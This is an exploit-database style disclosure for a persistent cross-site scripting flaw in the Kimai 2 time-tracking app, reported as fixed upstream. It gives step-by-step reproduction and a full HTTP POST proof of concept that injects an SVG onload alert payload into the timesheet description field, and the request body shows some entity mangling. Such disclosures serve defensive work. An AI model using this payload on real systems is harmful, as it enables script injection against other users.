32 lines
No EOL
1.3 KiB
Text
32 lines
No EOL
1.3 KiB
Text
# Exploit Title: Kimai 2- persistent cross-site scripting (XSS)
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# Date: 07/15/2019
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# Exploit Author: osamaalaa
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# Vendor Homepage: [link]
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# Software Link: https://github.com/kevinpapst/kimai2
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# Fixed on Github : https://github.com/kevinpapst/kimai2/pull/962
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# Version: 2
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1-Normal user will try to add timesheet from this link http://localhost/index.php/en/timesheet/create
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2-Add this payload "><svg/onload=alert('xss')> in the description
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3-Save The changes
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4-refresh and we have alert pop up!
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The Request POC :
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POST /index.php/en/timesheet/create HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
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Accept: */*
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-Requested-With: XMLHttpRequest
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Content-Length: 392
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Connection: close
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Referer: http://localhost
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Cookie: PHPSESSID=auehoprhqk3qspncs5s08ucobv
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timesheet_edit_form[begin]=2019-08-17 13:02×heet_edit_form[end]=2019-08-18 00:00×heet_edit_form[customer]=12×heet_edit_form[project]=24×heet_edit_form[activity]=27×heet_edit_form[description]= "><svg/onload=alert('xss')>×heet_edit_form[tags]=×heet_edit_form[_token]=19Owg2YgIMPFUcEP9NVibhqEpKwkwhVt5j-BTJysyK0 |